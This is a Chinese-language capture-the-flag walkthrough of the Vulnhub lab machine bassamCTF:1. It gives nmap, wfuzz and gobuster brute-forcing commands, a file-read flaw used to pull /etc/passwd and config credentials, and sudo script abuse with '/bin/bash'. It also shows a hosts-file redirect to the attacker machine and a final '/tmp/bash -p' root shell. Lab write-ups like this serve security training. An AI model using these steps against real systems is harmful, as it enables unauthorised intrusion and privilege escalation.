Vulnhub: bassamCTF: 1靶机

发布时间 2023-08-23 17:38:40作者: ctostm

kali:192.168.111.111

靶机:192.168.111.210

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.210

image

修改hosts文件

image

image

爆破出子域名welcome

wfuzz -H 'HOST: FUZZ.bassam.ctf' -u http://192.168.111.210 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 422,21 -c

image

image

对子域目录爆破

gobuster dir -u http://welcome.bassam.ctf/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf

image

index.php存在文件读取

image

image

查看/etc/passwdconfig.php

image

image

config.php中的账号密码登录ssh,账号:test,密码:test123

image

提权

查看test用户的历史命令发现文件MySecretPassword

find / -name 'MySecretPassword' 2> /dev/null

image

image

MySecretPassword文件内容

xxd MySecretPassword

image

利用/PassProgram目录中的decoder程序进行解密,得到kira用户密码:kira2003

./decoder /var/www/ctf/MySecretPassword

image

kira用户sudo权限

image

脚本内容

image

执行脚本的之时给脚本传入变量执行bash解释器

sudo -u bassam /home/kira/test.sh /bin/bash

image

bassam用户sudo权限

image

脚本内容

image

在kali创建script.sh脚本文件,写入提权命令,再修改靶机的hosts文件指向kali

image

提升为root

/tmp/bash -p

image